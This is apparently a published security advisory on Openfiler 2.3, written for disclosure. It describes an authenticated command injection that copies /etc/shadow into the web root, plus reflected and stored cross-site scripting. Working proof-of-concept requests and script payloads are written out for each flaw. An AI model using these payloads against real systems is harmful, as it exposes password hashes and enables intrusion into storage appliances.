Security Research Advisory

Openfiler 2.3

Multiple Vulnerabilities

Table of Contents

Summary

Openfiler is an operating system that provides file-based network-attached storage and block-based Storage area network.

Because of poor validation of some user controlled inputs, a variety of attacks against the application and the underlying server are possible. Remote command execution, file reading and writing, cross-site scripting attacks, even stored, were identified.

Date	Details
12/12/2009	Vendor disclosure
12/12/2009	Vendor acknowledgment
n./d.	Patch release
n./d.	Public disclosure

Remote Command Execution

Remote Command Execution					Advisory Number
					SN-10-01
Severity	Software	Version	Accessibility	CVE	Author(s)
H	Openfiler NAS/SAN Appliance	2.3 x86 VMware virtual appliance	Remote	*n/a*	Gabriele Zanoni
	Vendor URL		Advisory URL		
	http://www.vmware.com		-		

Vulnerability Details

Because of poor validation of some user controlled inputs, a variety of attacks against the application and the underlying server are possible, such as Remote Command Execution.

In order to take advantage of the described issue a potential attacker needs a valid account on the remote appliance.

The issue has been identified on Openfiler 2.3 x86 VMware Virtual Appliance but we cannot exclude other versions are vulnerable.

Technical Details

Description

After a proper authentication the following request can be performed in order to write a file on the appliance:

```
https://IP:PORT/admin/system.html?step=2&device=eth0 | cat /etc/shadow >
/opt/openfiler/var/www/htdocs/admin/test1.txt
```

Then proceed to set "boot protocol" as "Static", click on the "Continue" button, set an "Ip Address" like 192.168.0.X and a "Netmask" like 255.255.255.0. Click on the Confirm button and hit the link "Return to Network Page". Finally, go to this URL in order to see the output of the command: https://IP:PORT/admin/test.txt

Multiple Cross-Site Scripting (XSS)

Multiple Cross-Site Scripting (XSS)					Advisory Number
					SN-10-01
Severity	Software	Version	Accessibility	CVE	Author(s)
M	Openfiler NAS/SAN Appliance	2.3 x86 VMware virtual appliance	Remote	*n/a*	Gabriele Zanoni
	Vendor URL		Advisory URL		
	http://www.vmware.com		-		

Vulnerability Details

Because of poor validation of some user controlled inputs, a variety of attacks against the application and the underlying server are possible, such as multiple kinds of Cross-Site Scripting.

The issue has been identified on Openfiler 2.3 x86 VMware Virtual Appliance but we cannot exclude other versions are vulnerable.

Technical Details

Description

An XSS attack can be triggered, in almost every web page, by changing the User Agent value to:

```
--><script>alert(1)</script><!--
```

Other XSS can be triggered with the following requests (the last one even on unauthenticated session).

XSS PoC:

```
https://IP:PORT/admin/system.html?step=2&device=><script>alert(2)</script>
https://IP:PORT/index.html?redirect=><script>alert(3)</script>
```

A stored XSS can be performed with the following procedure. Request, after proper authentication, the URL *https://192.168.0.4:446/admin/system.html* and set "*Hostname*" to the following string:

```
"><script>alert(4)</script>
```

Finally, click on the "Update" button and surf *https://192.168.0.4:446/admin/status.html* in order to see the output of the XSS attack.

Legal Notices

Secure Network (*www.securenetwork.it*) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41